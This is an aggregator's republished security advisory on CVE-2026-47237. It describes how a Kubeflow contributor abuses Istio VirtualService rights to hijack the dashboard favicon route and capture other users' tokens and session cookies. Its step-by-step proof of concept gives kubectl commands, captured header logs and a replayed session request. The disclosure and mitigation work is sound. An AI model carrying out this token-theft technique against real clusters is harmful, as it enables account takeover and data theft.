{"slug": "cve-2026-47237-overly-permissive-istio-permissions-allow-kubeflow-authorization", "title": "CVE-2026-47237 – Overly Permissive Istio Permissions Allow Kubeflow Authorization Token Stealing", "summary": "A vulnerability in Kubeflow versions prior to 1.10 allows attackers with Contributor or kubeflow-edit roles to steal authorization tokens via overly permissive Istio permissions, enabling account takeover and data access. The issue is fixed in the latest version, and users are urged to update.", "body_md": "Kubeflow is vulnerable to the theft of authorization tokens by any user of the Kubeflow UI or APIs, such as the Dashboard, Pipelines API, or Notebooks. With this token, the attacker can take over the user’s account and the data that is processed by that user. The attacker needs a valid user with the `kubeflow-edit`\n\nor Contributor role in a random Kubeflow namespace to perform this attack. This is given if *Automatic Profile Creation* is enabled. A setup based on the official manifests prior to version 1.10, and on most other packaged Kubeflow distributions, is vulnerable.\n\nThe Istio edit permissions were removed by Kubeflow in a timely manner. Affected users should update to the latest version to mitigate this issue.\n\n## Technical Background\n\n[Kubeflow](https://www.kubeflow.org/docs/started/introduction/) is an open-source platform for machine learning and MLOps on Kubernetes introduced by Google. Kubeflow offers features such as notebooks, pipelines, model registries, and Apache spark operators.\n\nOne of that components is the [Kubeflow Central Dashboard](https://www.kubeflow.org/docs/components/central-dash/overview/#what-is-the-kubeflow-central-dashboard). *It provides an authenticated web interface for Kubeflow and ecosystem components. It acts as a hub for your machine learning platform and tools by exposing the UIs of components running in the cluster* [[Kubeflow Central Dashboard](https://www.kubeflow.org/docs/components/central-dash/overview/#what-is-the-kubeflow-central-dashboard)].\n\nThe screenshot below shows the profile *snobisernw-de-ext* which is assigned to a namespace in Kubernetes.\n\nKubeflow uses one Kubernetes namespace per Kubeflow profile. All profiles share the same cluster and Istio gateway.\n\nUsers can create their own [Notebooks](https://www.kubeflow.org/docs/components/notebooks/overview/) or pipelines to run their workloads. *Kubeflow Notebooks runs interactive development environments for AI, ML, and Data workloads on Kubernetes* [[Notebooks](https://www.kubeflow.org/docs/components/notebooks/overview/)].\n\n[Multiple resources are created for each profile](https://www.kubeflow.org/docs/components/central-dash/profiles/#profile-resources), among them *Istio AuthorizationPolicies*. These restrict which users can access workloads. Contributors can be configured using email patterns. Additionally, the [ default-editor](https://www.kubeflow.org/docs/components/central-dash/profiles/#profile-resources) service account is assigned to notebooks and pipelines in each profile. These service accounts have permissions to create and manage resources in the cluster.\n\nTo expose an application in the cluster, this could be done through the Kubeflow Central Dashboard by creating [a VirtualService on the Kubeflow Istio Gateway](https://www.kubeflow.org/docs/components/central-dash/customize/#create-virtualservice). VirtualServices define which backend handles a given URL path. With this said, anyone who can create VirtualServices can influence how traffic is routed in the cluster.\n\nThe following diagram illustrates how a service is exposed in the cluster using Istio.\n\nAs it can be noticed, the VirtualService exists in the workload namespace, whereas the Istio gateway exists in another namespace.\n\n## Prerequisites for the Attack\n\n- A Kubeflow setup based on the official manifests (or any affected distribution)\n- The attacker needs either\n- a valid user with the Contributor role in one random Kubeflow namespace\n- or the K8s role\n`kubeflow-edit`\n\n/ ServiceAccount`default-editor`\n\nin one random Kubeflow namespace - or\n[Automatic Profile Creation](https://www.kubeflow.org/docs/components/central-dash/profiles/#automatic-profile-creation)is enabled (`CD_REGISTRATION_FLOW=true`\n\n), and the attacker can authenticate\n\n*Please note:* While the Owner role is required to add the victims to the attacker-controlled namespace as Contributor, it is not a prerequisite for the attack as the Owner’s token can be stolen during the attack to perform this step.\n\n## Security Impact\n\nWith the given permission in the Istio’s API group `networking.istio.io`\n\nof the `kubeflow-edit`\n\nrole, the attacker gains full control over the requests/responses routed through the Gateway `kubeflow/kubeflow-gateway`\n\n. As a result, the access token of all users will be disclosed to the attacker. Thus, the attacker gains full control over the users’ data and resources in Kubeflow.\n\n## Proof of Concept (PoC)\n\nThe following descriptions explain the exploitation of the issue in detail. The proof of concept (PoC) was done in a Kubeflow setup installed through the official manifests in version `v1.9.1`\n\n. No modifications were made except for the creation of additional users and namespaces. The namespaces were created through the *Automatic Profile Creation* feature, which was enabled, too (`CD_REGISTRATION_FLOW=true`\n\n). However, the feature is not required, and a manually created profile / the default profile works, too.\n\nThe following diagram illustrates the attack flow.\n\n### Step 1: Create a New JupyterLab Notebook\n\nFirst, the attacker creates a new JupyterLab Notebook via the *New Notebook* function under *Notebooks*; see screenshot below.\n\n### Step 2: View Default Permissions\n\nUsing the Jupyter Notebook, we can examine the permissions the service account of the Notebook has per default. The command `kubectl auth whoami`\n\nshows the username `system:serviceaccount:ernw-de-ext:default-editor`\n\nwith the default role `ClusterRole/kubeflow-edit`\n\n. The command `kubectl auth can-i --list`\n\nshows the permissions this user has assigned in the current namespace. Note that the user has permission to create and update resources in API group `*.istio.io`\n\nand `*.networking.istio.io`\n\n.\n\n``` bash\n(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl auth whoami\nATTRIBUTE                                           VALUE\nUsername                                            system:serviceaccount:ernw-de-ext:default-editor\nUID                                                 693cc8b7-da7d-4b7c-b573-cd13f57c2e61\nGroups                                              [system:serviceaccounts system:serviceaccounts:ernw-de-ext system:authenticated]\nExtra: authentication.kubernetes.io/credential-id   [JTI=b3f19506-d3b6-41fe-bcd7-5e981e1ccdac]\nExtra: authentication.kubernetes.io/node-name       [gke-demo-cloud-default-pool-2955a757-c7rr]\nExtra: authentication.kubernetes.io/node-uid        [f7458f80-f3dc-4e5c-9801-17847093fd53]\nExtra: authentication.kubernetes.io/pod-name        [ernw-de-ext-notebook-0]\nExtra: authentication.kubernetes.io/pod-uid         [0d57da77-0549-4f35-acf0-084e8edebd16]\n(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl auth can-i --list\nWarning: the list may be incomplete: webhook authorizer does not support user rule resolution\nResources                                          Non-Resource URLs                      Resource Names   Verbs\n[...]\n*.networking.istio.io                              []                                     []               [get list watch create delete deletecollection patch update]\n*.istio.io                                         []                                     []               [get list watch create delete deletecollection patch update]\n[...]\n```\n\nWith those permissions, the user can create a VirtualService on the `kubeflow/kubeflow-gateway`\n\neven though it is deployed in a different namespace. The diagram below shows this in theory. The next step show in detail how this can be implemented.\n\n### Step 3: Create a VirtualService\n\nA Docker image with a web application was created to hijack the sessions of other Kubeflow users in the cluster. This image logs requests with all headers.\n\nNext, the attacker creates a deployment with that image and a VirtualService. In the given PoC, the namespace `ernw-de-ext`\n\nis used. This can be done via the command `kubectl apply -f k8s-resource.yaml`\n\n.\n\n``` bash\n(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl apply -f k8s-resource.yaml \nvirtualservice.networking.istio.io/ernw-virtualservice-poc created\ndestinationrule.networking.istio.io/ernw-virtualservice-poc-dr created\nservice/ernw-virtualservice-poc created\nconfigmap/ernw-virtualservice-poc created\ndeployment.apps/ernw-virtualservice-poc created\n```\n\nWith the command `kubectl get pods`\n\n, the newly created Pods can be shown:\n\n``` bash\n(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl get pods\nNAME                                              READY   STATUS    RESTARTS   AGE\nernw-de-ext-notebook-0                            2/2     Running   0          59m\nernw-virtualservice-poc-7649d4d497-lhfcd          1/2     Running   0          9s\nml-pipeline-ui-artifact-6b44b849d7-mvdw7          2/2     Running   0          94m\nml-pipeline-visualizationserver-5fcb5568f-r522d   2/2     Running   0          94m\n```\n\nThe newly created VirtualService overrides the path `/assets/favicon.ico`\n\nthat is requested by every user who uses the Kubeflow Dashboard.\n\nAs a result, the attacker’s selected favicon is shown in the Kubeflow dashboard, as seen below.\n\n### Step 4: Add User to Manage Contributors List\n\nCurrently, one obstacle is the default `AuthorizationPolicy`\n\nin the attacker-controlled namespace, which would reject requests from users who are not members of the Kubeflow namespace. Next, we need to add our victim’s email address to the `Manage Contributors`\n\nlist in the Kubeflow UI so that the victim can access the favicon.\n\nPlease note that this step requires the Owner role in the attacker-controlled namespace `ernw-de-ext`\n\n. If the attacker only has the Contributor role or `default-editor`\n\nservice account token, they need to steal the Owner’s token first (see next step) and then perform this step with it.\n\nThe attacker does not need to know the email addresses of his victims, as they can use wildcards to add all users from a given domain. The following screenshot shows this.\n\nKubeflow adjusts the corresponding `AuthorizationPolicy`\n\n, as can be seen in the following output:\n\n```\n[...]\n- apiVersion: security.istio.io/v1\n  kind: AuthorizationPolicy\n  metadata:\n    annotations:\n      role: edit\n      user: '*@ernwlab.onmicrosoft.com'\n    creationTimestamp: \"2025-02-28T16:05:53Z\"\n    generation: 1\n    name: user-ernwlab-onmicrosoft-com-clusterrole-edit\n    namespace: ernw-de-ext\n    resourceVersion: \"245913\"\n    uid: adffd131-43b1-43a9-94f5-c702e1d35f1d\n  spec:\n    rules:\n    - from:\n      - source:\n          principals:\n          - cluster.local/ns/istio-system/sa/istio-ingressgateway-service-account\n          - cluster.local/ns/kubeflow/sa/ml-pipeline-ui\n      when:\n      - key: request.headers[kubeflow-userid]\n        values:\n        - '*@ernwlab.onmicrosoft.com'\n[...]\n```\n\nThe victim can now access the routes defined in the `VirtualService`\n\n.\n\n### Step 5: Steal Users’ Sessions\n\nEvery time a victim visits the Kubeflow UI, the favicon is loaded, and the request with the cookie is forwarded to the attacker-controlled Pod. The screenshot shows the replaced favicon in the browser’s title bar.\n\nAfterwards, the following `kubectl logs`\n\ncommand can be used on the Pod to retrieve the stolen users’ cookies. The following output shows the logged cookie.\n\n``` bash\n(base) jovyan@ernw-de-ext-notebook-0:~$ kubectl logs deployment.apps/ernw-virtualservice-poc --follow\n[...]\n2025/02/28 16:01:42 Request to favicon.ico from 127.0.0.6:38691:\nGET /assets/favicon.ico HTTP/1.1\nHost: kubeflow.gke.gcp.ernw.eu\nAuthorization: Bearer eyJhbGciOiJSUzI[...]\nCookie: oauth2_proxy_kubeflow=dVXjHQYpY6Bws7zFTn51iR1LRIxqhlo[...]\nKubeflow-Userid: user@example.com\nReferer: https://kubeflow.gke.gcp.ernw.eu/_/jupyter/?ns=kubeflow-user-example-com\nX-Auth-Request-Email: user@example.com\nX-Forwarded-Client-Cert: By=spiffe://cluster.local/ns/ernw-de-ext/sa/default;Hash=d1ba1b0474c20e44d4e20bb568d19639c7ef4b95edaac300579b1b56f572c5bf;Subject=\"\";URI=spiffe://cluster.local/ns/istio-system/sa/istio-ingressgateway-service-account\n[...]\n```\n\nThe attacker can now set the cookie in their browser to take over the victim’s session. This is demonstrated in the following HTTP communication.\n\n**HTTP Request**\n\n```\nGET /api/workgroup/env-info HTTP/2\nHost: kubeflow.gke.gcp.ernw.eu\nAuthorization: Bearer eyJhbGciOiJSUzI1[...]\nCookie: oauth2_proxy_kubeflow=dVXjHQYpY6Bws7zFTn5[...]\nReferer: https://kubeflow.gke.gcp.ernw.eu/?ns=ernw-de-ext\n[...]\n```\n\n**HTTP Response**\n\n```\nHTTP/2 200 OK\nDate: Fri, 28 Feb 2025 16:29:04 GMT\nX-Envoy-Upstream-Service-Time: 20\nServer: istio-envoy\n[...]\n\n{\"user\":\"user@example.com\",\"platform\":{\"kubeflowVersion\":\"unknown\",\"provider\":\"gce://folkloric-stone-231516/europe-west1-b/gke-demo-cloud-default-pool-2955a757-0h4h\",\"providerName\":\"gce\",\"logoutUrl\":\"/oauth2/sign_out\"},\"namespaces\":[{\"user\":\"user@example.com\",\"namespace\":\"kubeflow-user-example-com\",\"role\":\"owner\"}],\"isClusterAdmin\":false}\n```\n\n## Affected Version and Mitigation\n\nThis issue affects Kubeflow manifests version 1.9.1 and older (at least since [Sep 26, 2019](https://github.com/kubeflow/manifests/commit/806766e0013ebfe7e60ab7f8d66b24cd5e532550)).\n\nThe following table shows a list of distributions that might be affected by the described vulnerability.\n\n| Maintainer / Distribution Name | Kubeflow Version | Affected? | Target Platform | Link |\n|---|---|---|---|---|\n| Kubeflow Manifests | v1.9.1 | Yes |\n|\n\n[https://github.com/kubeflow/manifests/tree/master#installation](https://github.com/kubeflow/manifests/tree/master#installation)[https://awslabs.github.io/kubeflow-manifests](https://awslabs.github.io/kubeflow-manifests)[https://www.deploykf.org/](https://www.deploykf.org/)[https://charmed-kubeflow.io/](https://charmed-kubeflow.io/)[https://googlecloudplatform.github.io/kubeflow-gke-docs](https://googlecloudplatform.github.io/kubeflow-gke-docs)[https://ibm.github.io/manifests/](https://ibm.github.io/manifests/)[https://azure.github.io/kubeflow-aks/main](https://azure.github.io/kubeflow-aks/main)[https://nutanix.github.io/kubeflow-manifests](https://nutanix.github.io/kubeflow-manifests)[https://docs.qbo.io/#/qke?id=kubeflow](https://docs.qbo.io/#/qke?id=kubeflow)[https://github.com/opendatahub-io/manifests](https://github.com/opendatahub-io/manifests)[https://vmware.github.io/vSphere-machine-learning-extension/](https://vmware.github.io/vSphere-machine-learning-extension/)Kubeflow accepted the pull request [!3043](https://github.com/kubeflow/manifests/pull/3043) that fixes this issue in a timely manner.\n\nAffected users should update their Kubeflow manifests to the latest version.\n\n## Disclosure Timeline\n\n**March 7th, 2025**: ERNW responsibly reported this vulnerability to Kubeflow.** March 8th, 2025**: Kubeflow fixed the issue with the pull request[!3043](https://github.com/kubeflow/manifests/pull/3043)** March 2nd, 2026**: ERNW requests a CVE for the issue fixed in GitHub.** May 19th, 2026**:[CVE-2026-47237](https://github.com/kubeflow/manifests/security/advisories/GHSA-v824-8gxh-pgjw)was published.\n\n## Closing\n\nWe would like to thank the Kubeflow project team for their constructive and valuable cooperation in resolving this issue.\n\nIf you liked this blog post, we will post a follow-up to this kind of problem in the second part. Stay tuned!\n\nAt this year’s TROOPERS26, ERNW will give a new training about [Kubernetes Security](https://troopers.de/troopers26/trainings/7z8fka/), where we’ll dig into how to audit and assess the security of a K8s cluster.\n\nERNW experts have been providing security consulting and in-depth assessments of complex Kubernetes environments for a decade. Please [reach out to us](https://ernw.de/en/contact.html) if your organization needs competent support in this space.", "url": "https://wpnews.pro/news/cve-2026-47237-overly-permissive-istio-permissions-allow-kubeflow-authorization", "canonical_source": "https://insinuator.net/2026/05/cve-2026-47237-overly-permissive-istio-permissions-allow-kubeflow-authorization-token-stealing/", "published_at": "2026-05-20 10:20:26+00:00", "updated_at": "2026-06-18 05:24:33.851742+00:00", "lang": "en", "topics": ["ai-infrastructure", "ai-safety", "ai-policy"], "entities": ["Kubeflow", "Istio", "Kubernetes", "Google"], "alternates": {"html": "https://wpnews.pro/news/cve-2026-47237-overly-permissive-istio-permissions-allow-kubeflow-authorization", "markdown": "https://wpnews.pro/news/cve-2026-47237-overly-permissive-istio-permissions-allow-kubeflow-authorization.md", "text": "https://wpnews.pro/news/cve-2026-47237-overly-permissive-istio-permissions-allow-kubeflow-authorization.txt", "jsonld": "https://wpnews.pro/news/cve-2026-47237-overly-permissive-istio-permissions-allow-kubeflow-authorization.jsonld"}}